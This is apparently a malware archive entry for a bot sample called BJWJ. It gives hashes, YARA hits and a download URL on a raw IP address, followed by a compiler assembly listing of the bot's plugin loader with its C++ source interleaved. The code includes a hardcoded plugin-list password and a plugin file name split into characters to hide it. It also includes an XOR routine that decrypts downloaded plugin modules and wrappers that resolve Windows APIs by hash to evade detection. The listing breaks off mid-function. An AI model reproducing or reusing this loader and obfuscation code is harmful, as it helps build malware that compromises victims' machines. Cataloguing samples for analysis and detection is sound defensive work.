Warning! We are currently in recovery mode. The complete archive is not available.

Sample details: c0222792a444aca1ebfdac6b6d67fcf4 --

Hashes
MD5: c0222792a444aca1ebfdac6b6d67fcf4
SHA1: e6c53cfbd7459e057fbf819191a9a7ef1456d164
SHA256: e7e0017680661bc3f228dbecd93ceb9824e8bb713b7e785f98b29dea19e0e3cf
SSDEEP: 3072:0ACDwoWr0k38ulXIV98uxzFOw6kTKrUld63ZSuz3UH/rSi5q8yKaxRJC81FScpJ0:7CQgulXIv8uxzFOw6kTCUll5qo
Details
File Type: BSD
Yara Hits
CuckooSandbox/embedded_win_api | YRP/domain | YRP/contentis_base64 |
Source
http://103.68.190.250/Sources//Advance/BJWJ/Builds/BOT_PLUG/Objs/Release/Plugins.cod
Strings
		; Listing generated by Microsoft (R) Optimizing Compiler Version 15.00.30729.01 
	TITLE	e:\Projects\progs\Petrosjan\BJWJ\Source\Core\Plugins.cpp
	.686P
	include listing.inc
	.model	flat
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
PUBLIC	??_C@_07CFHDLNPD@pgcache?$AA@			; `string'
PUBLIC	??_C@_04IAFLKNP@http?$AA@			; `string'
PUBLIC	?Hibernation@TVideoRecDLL@@2HB			; TVideoRecDLL::Hibernation
PUBLIC	?RunCallback@TVideoRecDLL@@2HB			; TVideoRecDLL::RunCallback
_DATA	SEGMENT
_PluginsCacheFolder DD FLAT:??_C@_07CFHDLNPD@pgcache?$AA@
_DATA	ENDS
;	COMDAT ??_C@_07CFHDLNPD@pgcache?$AA@
CONST	SEGMENT
??_C@_07CFHDLNPD@pgcache?$AA@ DB 'pgcache', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_04IAFLKNP@http?$AA@
CONST	SEGMENT
??_C@_04IAFLKNP@http?$AA@ DB 'http', 00H		; `string'
CONST	ENDS
CONST	SEGMENT
_HTTPProtocolDelimeter DB '://', 00H
_ProtocolHTTP DD FLAT:??_C@_04IAFLKNP@http?$AA@
_PluginListPassword DB 047H
	DB	044H
	DB	06cH
	DB	065H
	DB	074H
	DB	036H
	DB	034H
	DB	045H
	DB	00H
CONST	ENDS
;	COMDAT ?RunCallback@TVideoRecDLL@@2HB
CONST	SEGMENT
?RunCallback@TVideoRecDLL@@2HB DD 01000H		; TVideoRecDLL::RunCallback
CONST	ENDS
;	COMDAT ?Hibernation@TVideoRecDLL@@2HB
CONST	SEGMENT
?Hibernation@TVideoRecDLL@@2HB DD 01H			; TVideoRecDLL::Hibernation
CONST	ENDS
PUBLIC	??_7TBotObject@@6B@				; TBotObject::`vftable'
PUBLIC	??1TBotObject@@UAE@XZ				; TBotObject::~TBotObject
EXTRN	??_ETBotObject@@UAEPAXI@Z:PROC			; TBotObject::`vector deleting destructor'
;	COMDAT ??_7TBotObject@@6B@
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
CONST	SEGMENT
??_7TBotObject@@6B@ DD FLAT:??_ETBotObject@@UAEPAXI@Z	; TBotObject::`vftable'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ??1TBotObject@@UAE@XZ
_TEXT	SEGMENT
??1TBotObject@@UAE@XZ PROC				; TBotObject::~TBotObject, COMDAT
; _this$ = ecx
; 883  : 	virtual ~TBotObject() {}
  00000	c7 01 00 00 00
	00		 mov	 DWORD PTR [ecx], OFFSET ??_7TBotObject@@6B@
  00006	c3		 ret	 0
??1TBotObject@@UAE@XZ ENDP				; TBotObject::~TBotObject
_TEXT	ENDS
EXTRN	??3TBotObject@@SAXPAX@Z:PROC			; TBotObject::operator delete
; Function compile flags: /Ogspy
;	COMDAT ??_GTBotObject@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_GTBotObject@@UAEPAXI@Z PROC				; TBotObject::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	f6 44 24 04 01	 test	 BYTE PTR ___flags$[esp-4], 1
  00005	56		 push	 esi
  00006	8b f1		 mov	 esi, ecx
  00008	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBotObject@@6B@
  0000e	74 07		 je	 SHORT $LN1@scalar
  00010	56		 push	 esi
  00011	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00016	59		 pop	 ecx
$LN1@scalar:
  00017	8b c6		 mov	 eax, esi
  00019	5e		 pop	 esi
  0001a	c2 04 00	 ret	 4
??_GTBotObject@@UAEPAXI@Z ENDP				; TBotObject::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	?Handle@TMemoryDLL@@QAEPAXXZ			; TMemoryDLL::Handle
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\dllloader.h
;	COMDAT ?Handle@TMemoryDLL@@QAEPAXXZ
_TEXT	SEGMENT
?Handle@TMemoryDLL@@QAEPAXXZ PROC			; TMemoryDLL::Handle, COMDAT
; _this$ = ecx
; 119  : 	HMEMORYMODULE inline Handle() { return FHandle; }
  00000	8b 41 04	 mov	 eax, DWORD PTR [ecx+4]
  00003	c3		 ret	 0
?Handle@TMemoryDLL@@QAEPAXXZ ENDP			; TMemoryDLL::Handle
_TEXT	ENDS
PUBLIC	??0TBotObject@@QAE@XZ				; TBotObject::TBotObject
; Function compile flags: /Ogspy
;	COMDAT ??0TBotObject@@QAE@XZ
_TEXT	SEGMENT
??0TBotObject@@QAE@XZ PROC				; TBotObject::TBotObject, COMDAT
; _this$ = ecx
  00000	8b c1		 mov	 eax, ecx
  00002	c7 00 00 00 00
	00		 mov	 DWORD PTR [eax], OFFSET ??_7TBotObject@@6B@
  00008	c3		 ret	 0
??0TBotObject@@QAE@XZ ENDP				; TBotObject::TBotObject
_TEXT	ENDS
PUBLIC	?GetFileName@PLGLoader@@YAPADXZ			; PLGLoader::GetFileName
EXTRN	?GetWorkPath@BOT@@YAPADPAD0@Z:PROC		; BOT::GetWorkPath
;	COMDAT ?PluginsListFileName@?1??GetFileName@PLGLoader@@YAPADXZ@4QBDB
; File e:\projects\progs\petrosjan\bjwj\source\core\plugins.cpp
CONST	SEGMENT
?PluginsListFileName@?1??GetFileName@PLGLoader@@YAPADXZ@4QBDB DB 077H ; `PLGLoader::GetFileName'::`2'::PluginsListFileName
	DB	06eH
	DB	064H
	DB	073H
	DB	06bH
	DB	073H
	DB	069H
	DB	02eH
	DB	069H
	DB	06eH
	DB	066H
	DB	00H
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?GetFileName@PLGLoader@@YAPADXZ
_TEXT	SEGMENT
?GetFileName@PLGLoader@@YAPADXZ PROC			; PLGLoader::GetFileName, COMDAT
; 61   : 		// 
; 62   : 		const static char PluginsListFileName[] = {'w', 'n', 'd', 's', 'k', 's', 'i', '.', 'i', 'n', 'f',  0};
; 63   : 
; 64   : 		return BOT::GetWorkPath(NULL, (PCHAR)PluginsListFileName);
  00000	68 00 00 00 00	 push	 OFFSET ?PluginsListFileName@?1??GetFileName@PLGLoader@@YAPADXZ@4QBDB
  00005	6a 00		 push	 0
  00007	e8 00 00 00 00	 call	 ?GetWorkPath@BOT@@YAPADPAD0@Z ; BOT::GetWorkPath
  0000c	59		 pop	 ecx
  0000d	59		 pop	 ecx
; 65   : 	}
  0000e	c3		 ret	 0
?GetFileName@PLGLoader@@YAPADXZ ENDP			; PLGLoader::GetFileName
_TEXT	ENDS
PUBLIC	?Decode@Plugin@@YAPAEPAEK_NPAK@Z		; Plugin::Decode
EXTRN	?m_memcpy@@YAPAXPAXPBXH@Z:PROC			; m_memcpy
EXTRN	?MemAlloc@@YAPAXK@Z:PROC			; MemAlloc
EXTRN	?IsExecutableFile@@YA_NPAX@Z:PROC		; IsExecutableFile
EXTRN	?DecodeBuffer@XORCrypt@@YAPAEPADPAXAAK@Z:PROC	; XORCrypt::DecodeBuffer
;	COMDAT ?Signature@?5??Decode@Plugin@@YAPAEPAEK_NPAK@Z@4QBDB
CONST	SEGMENT
?Signature@?5??Decode@Plugin@@YAPAEPAEK_NPAK@Z@4QBDB DB 042H ; `Plugin::Decode'::`6'::Signature
	DB	04aH
	DB	042H
	DB	00H
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?Decode@Plugin@@YAPAEPAEK_NPAK@Z
_TEXT	SEGMENT
_Buffer$ = 8						; size = 4
_BufferSize$ = 12					; size = 4
_IsExecutable$ = 16					; size = 1
_Size$ = 20						; size = 4
_NewBufferSize$ = 20					; size = 4
?Decode@Plugin@@YAPAEPAEK_NPAK@Z PROC			; Plugin::Decode, COMDAT
; 553  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	53		 push	 ebx
; 554  : 	// 
; 555  : 	if (NewBufferSize != NULL)
  00004	8b 5d 14	 mov	 ebx, DWORD PTR _NewBufferSize$[ebp]
  00007	56		 push	 esi
  00008	85 db		 test	 ebx, ebx
  0000a	74 03		 je	 SHORT $LN8@Decode
; 556  : 		*NewBufferSize = 0;
  0000c	83 23 00	 and	 DWORD PTR [ebx], 0
$LN8@Decode:
; 557  : 
; 558  : 	if (Buffer == NULL || BufferSize == 0)
  0000f	83 7d 08 00	 cmp	 DWORD PTR _Buffer$[ebp], 0
  00013	74 71		 je	 SHORT $LN6@Decode
  00015	8b 75 0c	 mov	 esi, DWORD PTR _BufferSize$[ebp]
  00018	85 f6		 test	 esi, esi
  0001a	74 6a		 je	 SHORT $LN6@Decode
  0001c	57		 push	 edi
; 560  : 
; 561  : 	// 
; 562  : 	const static char Signature[] = {'B', 'J', 'B', 0};
; 563  : 	DWORD Size = BufferSize;
; 564  : 	LPBYTE Body = XORCrypt::DecodeBuffer((PCHAR)Signature, Buffer, Size);
  0001d	8d 45 14	 lea	 eax, DWORD PTR _Size$[ebp]
  00020	50		 push	 eax
  00021	ff 75 08	 push	 DWORD PTR _Buffer$[ebp]
  00024	89 75 14	 mov	 DWORD PTR _Size$[ebp], esi
  00027	68 00 00 00 00	 push	 OFFSET ?Signature@?5??Decode@Plugin@@YAPAEPAEK_NPAK@Z@4QBDB
  0002c	e8 00 00 00 00	 call	 ?DecodeBuffer@XORCrypt@@YAPAEPADPAXAAK@Z ; XORCrypt::DecodeBuffer
  00031	8b f8		 mov	 edi, eax
  00033	83 c4 0c	 add	 esp, 12			; 0000000cH
; 565  : 
; 566  : 	if (Body == NULL)
  00036	85 ff		 test	 edi, edi
  00038	75 06		 jne	 SHORT $LN11@Decode
; 567  : 	{
; 568  : 		// 
; 569  : 		// XOR 
; 570  : 		Body = Buffer;
  0003a	8b 7d 08	 mov	 edi, DWORD PTR _Buffer$[ebp]
; 571  : 		Size = BufferSize;
  0003d	89 75 14	 mov	 DWORD PTR _Size$[ebp], esi
$LN11@Decode:
; 572  : 	}
; 573  : 
; 574  : 	// 
; 575  : 	LPBYTE Module = NULL;
  00040	33 f6		 xor	 esi, esi
; 576  : 	if (Body != NULL && Size > 0 && (!IsExecutable || IsExecutableFile(Body)))
  00042	85 ff		 test	 edi, edi
  00044	74 3b		 je	 SHORT $LN1@Decode
  00046	39 75 14	 cmp	 DWORD PTR _Size$[ebp], esi
  00049	76 36		 jbe	 SHORT $LN1@Decode
  0004b	80 7d 10 00	 cmp	 BYTE PTR _IsExecutable$[ebp], 0
  0004f	74 0b		 je	 SHORT $LN3@Decode
  00051	57		 push	 edi
  00052	e8 00 00 00 00	 call	 ?IsExecutableFile@@YA_NPAX@Z ; IsExecutableFile
  00057	59		 pop	 ecx
  00058	84 c0		 test	 al, al
  0005a	74 25		 je	 SHORT $LN1@Decode
$LN3@Decode:
; 577  : 	{
; 578  : 		Module = (LPBYTE)MemAlloc(Size);
  0005c	ff 75 14	 push	 DWORD PTR _Size$[ebp]
  0005f	e8 00 00 00 00	 call	 ?MemAlloc@@YAPAXK@Z	; MemAlloc
  00064	8b f0		 mov	 esi, eax
  00066	59		 pop	 ecx
; 579  :  		if (Module != NULL)
  00067	85 f6		 test	 esi, esi
  00069	74 16		 je	 SHORT $LN1@Decode
; 580  : 		{
; 581  : 			m_memcpy(Module, Body, Size);
  0006b	ff 75 14	 push	 DWORD PTR _Size$[ebp]
  0006e	57		 push	 edi
  0006f	56		 push	 esi
  00070	e8 00 00 00 00	 call	 ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy
  00075	83 c4 0c	 add	 esp, 12			; 0000000cH
; 582  : 			if (NewBufferSize != NULL)
  00078	85 db		 test	 ebx, ebx
  0007a	74 05		 je	 SHORT $LN1@Decode
; 583  : 				*NewBufferSize = Size;
  0007c	8b 45 14	 mov	 eax, DWORD PTR _Size$[ebp]
  0007f	89 03		 mov	 DWORD PTR [ebx], eax
$LN1@Decode:
; 584  : 		}
; 585  : 	}
; 586  : 
; 587  : 	return Module;
  00081	8b c6		 mov	 eax, esi
  00083	5f		 pop	 edi
  00084	eb 02		 jmp	 SHORT $LN9@Decode
$LN6@Decode:
; 559  : 		return NULL;
  00086	33 c0		 xor	 eax, eax
$LN9@Decode:
  00088	5e		 pop	 esi
  00089	5b		 pop	 ebx
; 588  : }
  0008a	5d		 pop	 ebp
  0008b	c3		 ret	 0
?Decode@Plugin@@YAPAEPAEK_NPAK@Z ENDP			; Plugin::Decode
_TEXT	ENDS
PUBLIC	??_7?$TString@D@@6B@				; TString<char>::`vftable'
PUBLIC	??0?$TString@D@@QAE@XZ				; TString<char>::TString<char>
EXTRN	??_E?$TString@D@@UAEPAXI@Z:PROC			; TString<char>::`vector deleting destructor'
;	COMDAT ??_7?$TString@D@@6B@
; File e:\projects\progs\petrosjan\bjwj\source\common\videorecorder.h
CONST	SEGMENT
??_7?$TString@D@@6B@ DD FLAT:??_E?$TString@D@@UAEPAXI@Z	; TString<char>::`vftable'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strings.h
CONST	ENDS
;	COMDAT ??0?$TString@D@@QAE@XZ
_TEXT	SEGMENT
??0?$TString@D@@QAE@XZ PROC				; TString<char>::TString<char>, COMDAT
; _this$ = ecx
; 415  : 	TString() : Data(0) {};
  00000	8b c1		 mov	 eax, ecx
  00002	83 60 04 00	 and	 DWORD PTR [eax+4], 0
  00006	c7 00 00 00 00
	00		 mov	 DWORD PTR [eax], OFFSET ??_7?$TString@D@@6B@
  0000c	c3		 ret	 0
??0?$TString@D@@QAE@XZ ENDP				; TString<char>::TString<char>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0BCJHIBCM@$0ME@@@YAPAXXZ	; pushargEx<1,311918892,196>
EXTRN	?GetProcAddressEx2@@YAPAXPADKKH@Z:PROC		; GetProcAddressEx2
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0BCJHIBCM@$0ME@@@YAPAXXZ
_TEXT	SEGMENT
??$pushargEx@$00$0BCJHIBCM@$0ME@@@YAPAXXZ PROC		; pushargEx<1,311918892,196>, COMDAT
; 92   : 	typedef LPVOID (WINAPI *newfunc)();
; 93   : 	newfunc func = (newfunc)GetProcAddressEx2(NULL, h, hash, CacheIndex );
  00000	68 c4 00 00 00	 push	 196			; 000000c4H
  00005	68 2c 81 97 12	 push	 311918892		; 1297812cH
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 94   : 	return func();
  00016	ff e0		 jmp	 eax
??$pushargEx@$00$0BCJHIBCM@$0ME@@@YAPAXXZ ENDP		; pushargEx<1,311918892,196>
_TEXT	ENDS
PUBLIC	??_C@_11LOCGONAA@?$AA?$AA@			; `string'
PUBLIC	?t_str@?$TString@D@@QBEPADXZ			; TString<char>::t_str
;	COMDAT ??_C@_11LOCGONAA@?$AA?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
CONST	SEGMENT
??_C@_11LOCGONAA@?$AA?$AA@ DB 00H, 00H			; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?t_str@?$TString@D@@QBEPADXZ
_TEXT	SEGMENT
?t_str@?$TString@D@@QBEPADXZ PROC			; TString<char>::t_str, COMDAT
; _this$ = ecx
; 701  : 	// 
; 702  : 	// 
; 703  : 	// 
; 704  : 	return (Data)? Data : (TChar*)L"";
  00000	8b 41 04	 mov	 eax, DWORD PTR [ecx+4]
  00003	85 c0		 test	 eax, eax
  00005	75 05		 jne	 SHORT $LN4@t_str
  00007	b8 00 00 00 00	 mov	 eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@
$LN4@t_str:
; 705  : }
  0000c	c3		 ret	 0
?t_str@?$TString@D@@QBEPADXZ ENDP			; TString<char>::t_str
_TEXT	ENDS
PUBLIC	?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z		; STRUTILS<char>::IsEmpty
; Function compile flags: /Ogspy
;	COMDAT ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z PROC			; STRUTILS<char>::IsEmpty, COMDAT
; 20   : 	return Str == NULL || *Str == 0;
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	74 08		 je	 SHORT $LN3@IsEmpty
  00008	80 38 00	 cmp	 BYTE PTR [eax], 0
  0000b	74 03		 je	 SHORT $LN3@IsEmpty
  0000d	33 c0		 xor	 eax, eax
; 21   : }
  0000f	c3		 ret	 0
$LN3@IsEmpty:
; 20   : 	return Str == NULL || *Str == 0;
  00010	33 c0		 xor	 eax, eax
  00012	40		 inc	 eax
; 21   : }
  00013	c3		 ret	 0
?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ENDP			; STRUTILS<char>::IsEmpty
_TEXT	ENDS
PUBLIC	?Length@?$STRUTILS@D@@SAKPBD@Z			; STRUTILS<char>::Length
; Function compile flags: /Ogspy
;	COMDAT ?Length@?$STRUTILS@D@@SAKPBD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
?Length@?$STRUTILS@D@@SAKPBD@Z PROC			; STRUTILS<char>::Length, COMDAT
; 27   : 	// 
; 28   : 	DWORD Len = 0;
; 29   : 	if (Str != NULL)
  00000	8b 4c 24 04	 mov	 ecx, DWORD PTR _Str$[esp-4]
  00004	33 c0		 xor	 eax, eax
  00006	85 c9		 test	 ecx, ecx
  00008	74 0b		 je	 SHORT $LN7@Length
; 30   : 		while (*Str++) Len++;
  0000a	38 01		 cmp	 BYTE PTR [ecx], al
  0000c	74 07		 je	 SHORT $LN7@Length
$LL2@Length:
  0000e	41		 inc	 ecx
  0000f	40		 inc	 eax
  00010	80 39 00	 cmp	 BYTE PTR [ecx], 0
  00013	75 f9		 jne	 SHORT $LL2@Length
$LN7@Length:
; 31   : 
; 32   : 	return Len;
; 33   : }
  00015	c3		 ret	 0
?Length@?$STRUTILS@D@@SAKPBD@Z ENDP			; STRUTILS<char>::Length
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0IPIPBBE@$0BE@PADKHHHHH@@YAPAXPADKHHHHH@Z ; pushargEx<1,150532372,20,char *,unsigned long,int,int,int,int,int>
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\getapi.h
;	COMDAT ??$pushargEx@$00$0IPIPBBE@$0BE@PADKHHHHH@@YAPAXPADKHHHHH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
_a6$ = 28						; size = 4
_a7$ = 32						; size = 4
??$pushargEx@$00$0IPIPBBE@$0BE@PADKHHHHH@@YAPAXPADKHHHHH@Z PROC ; pushargEx<1,150532372,20,char *,unsigned long,int,int,int,int,int>, COMDAT
; 147  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 148  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E, F, G);
; 149  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	6a 14		 push	 20			; 00000014H
  00005	68 14 f1 f8 08	 push	 150532372		; 08f8f114H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 150  : 	return func(a1, a2, a3, a4, a5, a6, a7);
  00016	ff 75 20	 push	 DWORD PTR _a7$[ebp]
  00019	ff 75 1c	 push	 DWORD PTR _a6$[ebp]
  0001c	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  0001f	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  00022	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  00025	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00028	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  0002b	ff d0		 call	 eax
; 151  : }
  0002d	5d		 pop	 ebp
  0002e	c3		 ret	 0
??$pushargEx@$00$0IPIPBBE@$0BE@PADKHHHHH@@YAPAXPADKHHHHH@Z ENDP ; pushargEx<1,150532372,20,char *,unsigned long,int,int,int,int,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0EIHPOBGL@$0BK@PAXPAUTFileHeader@PLGLoader@@IPAKH@@YAPAXPAXPAUTFileHeader@PLGLoader@@IPAKH@Z ; pushargEx<1,1216340331,26,void *,PLGLoader::TFileHeader *,unsigned int,unsigned long *,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0EIHPOBGL@$0BK@PAXPAUTFileHeader@PLGLoader@@IPAKH@@YAPAXPAXPAUTFileHeader@PLGLoader@@IPAKH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
??$pushargEx@$00$0EIHPOBGL@$0BK@PAXPAUTFileHeader@PLGLoader@@IPAKH@@YAPAXPAXPAUTFileHeader@PLGLoader@@IPAKH@Z PROC ; pushargEx<1,1216340331,26,void *,PLGLoader::TFileHeader *,unsigned int,unsigned long *,int>, COMDAT
; 131  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 132  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E);
; 133  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	6a 1a		 push	 26			; 0000001aH
  00005	68 6b e1 7f 48	 push	 1216340331		; 487fe16bH
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 134  : 	return func(a1, a2, a3, a4, a5);
  00016	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  00019	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  0001c	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  0001f	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00022	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  00025	ff d0		 call	 eax
; 135  : }
  00027	5d		 pop	 ebp
  00028	c3		 ret	 0
??$pushargEx@$00$0EIHPOBGL@$0BK@PAXPAUTFileHeader@PLGLoader@@IPAKH@@YAPAXPAXPAUTFileHeader@PLGLoader@@IPAKH@Z ENDP ; pushargEx<1,1216340331,26,void *,PLGLoader::TFileHeader *,unsigned int,unsigned long *,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z	; pushargEx<1,1916711125,17,void *>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z PROC	; pushargEx<1,1916711125,17,void *>, COMDAT
; 100  : 	typedef LPVOID (WINAPI *newfunc)(A);
; 101  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00000	6a 11		 push	 17			; 00000011H
  00002	68 d5 b0 3e 72	 push	 1916711125		; 723eb0d5H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 102  : 	return func(a1);
  00013	ff 74 24 04	 push	 DWORD PTR _a1$[esp-4]
  00017	ff d0		 call	 eax
; 103  : }
  00019	c3		 ret	 0
??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z ENDP	; pushargEx<1,1916711125,17,void *>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0GJCGABFC@$0GN@@@YAPAXXZ	; pushargEx<1,1764098386,109>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0GJCGABFC@$0GN@@@YAPAXXZ
_TEXT	SEGMENT
??$pushargEx@$00$0GJCGABFC@$0GN@@@YAPAXXZ PROC		; pushargEx<1,1764098386,109>, COMDAT
; 92   : 	typedef LPVOID (WINAPI *newfunc)();
; 93   : 	newfunc func = (newfunc)GetProcAddressEx2(NULL, h, hash, CacheIndex );
  00000	6a 6d		 push	 109			; 0000006dH
  00002	68 52 01 26 69	 push	 1764098386		; 69260152H
  00007	6a 01		 push	 1
  00009	6a 00		 push	 0
  0000b	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00010	83 c4 10	 add	 esp, 16			; 00000010H
; 94   : 	return func();
  00013	ff e0		 jmp	 eax
??$pushargEx@$00$0GJCGABFC@$0GN@@@YAPAXXZ ENDP		; pushargEx<1,1764098386,109>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0PDPNBMD@$0BG@PAXPAUTFileHeader@PLGLoader@@IPAKH@@YAPAXPAXPAUTFileHeader@PLGLoader@@IPAKH@Z ; pushargEx<1,255840707,22,void *,PLGLoader::TFileHeader *,unsigned int,unsigned long *,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0PDPNBMD@$0BG@PAXPAUTFileHeader@PLGLoader@@IPAKH@@YAPAXPAXPAUTFileHeader@PLGLoader@@IPAKH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
??$pushargEx@$00$0PDPNBMD@$0BG@PAXPAUTFileHeader@PLGLoader@@IPAKH@@YAPAXPAXPAUTFileHeader@PLGLoader@@IPAKH@Z PROC ; pushargEx<1,255840707,22,void *,PLGLoader::TFileHeader *,unsigned int,unsigned long *,int>, COMDAT
; 131  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 132  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E);
; 133  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	6a 16		 push	 22			; 00000016H
  00005	68 c3 d1 3f 0f	 push	 255840707		; 0f3fd1c3H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
; 134  : 	return func(a1, a2, a3, a4, a5);
  00016	ff 75 18	 push	 DWORD PTR _a5$[ebp]
  00019	ff 75 14	 push	 DWORD PTR _a4$[ebp]
  0001c	ff 75 10	 push	 DWORD PTR _a3$[ebp]
  0001f	ff 75 0c	 push	 DWORD PTR _a2$[ebp]
  00022	ff 75 08	 push	 DWORD PTR _a1$[ebp]
  00025	ff d0		 call	 eax
; 135  : }
  00027	5d		 pop	 ebp
  00028	c3		 ret	 0
??$pushargEx@$00$0PDPNBMD@$0BG@PAXPAUTFileHeader@PLGLoader@@IPAKH@@YAPAXPAXPAUTFileHeader@PLGLoader@@IPAKH@Z ENDP ; pushargEx<1,255840707,22,void *,PLGLoader::TFileHeader *,unsigned int,unsigned long *,int>
_TEXT	ENDS
PUBLIC	??$pushargEx@$00$0PDPNBMD@$0BG@PAXPADKPAKH@@YAPAXPAXPADKPAKH@Z ; pushargEx<1,255840707,22,void *,char *,unsigned long,unsigned long *,int>
; Function compile flags: /Ogspy
;	COMDAT ??$pushargEx@$00$0PDPNBMD@$0BG@PAXPADKPAKH@@YAPAXPAXPADKPAKH@Z
_TEXT	SEGMENT
_a1$ = 8						; size = 4
_a2$ = 12						; size = 4
_a3$ = 16						; size = 4
_a4$ = 20						; size = 4
_a5$ = 24						; size = 4
??$pushargEx@$00$0PDPNBMD@$0BG@PAXPADKPAKH@@YAPAXPAXPADKPAKH@Z PROC ; pushargEx<1,255840707,22,void *,char *,unsigned long,unsigned long *,int>, COMDAT
; 131  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 132  : 	typedef LPVOID (WINAPI *newfunc)(A, B, C, D, E);
; 133  : 	newfunc func = (newfunc)GetProcAddressEx2( NULL, h, hash, CacheIndex );
  00003	6a 16		 push	 22			; 00000016H
  00005	68 c3 d1 3f 0f	 push	 255840707		; 0f3fd1c3H
  0000a	6a 01		 push	 1
  0000c	6a 00		 push	 0
  0000e	e8 00 00 00 00	 call	 ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2
  00013	83 c4 10	 add	 esp, 16			; 00000010H
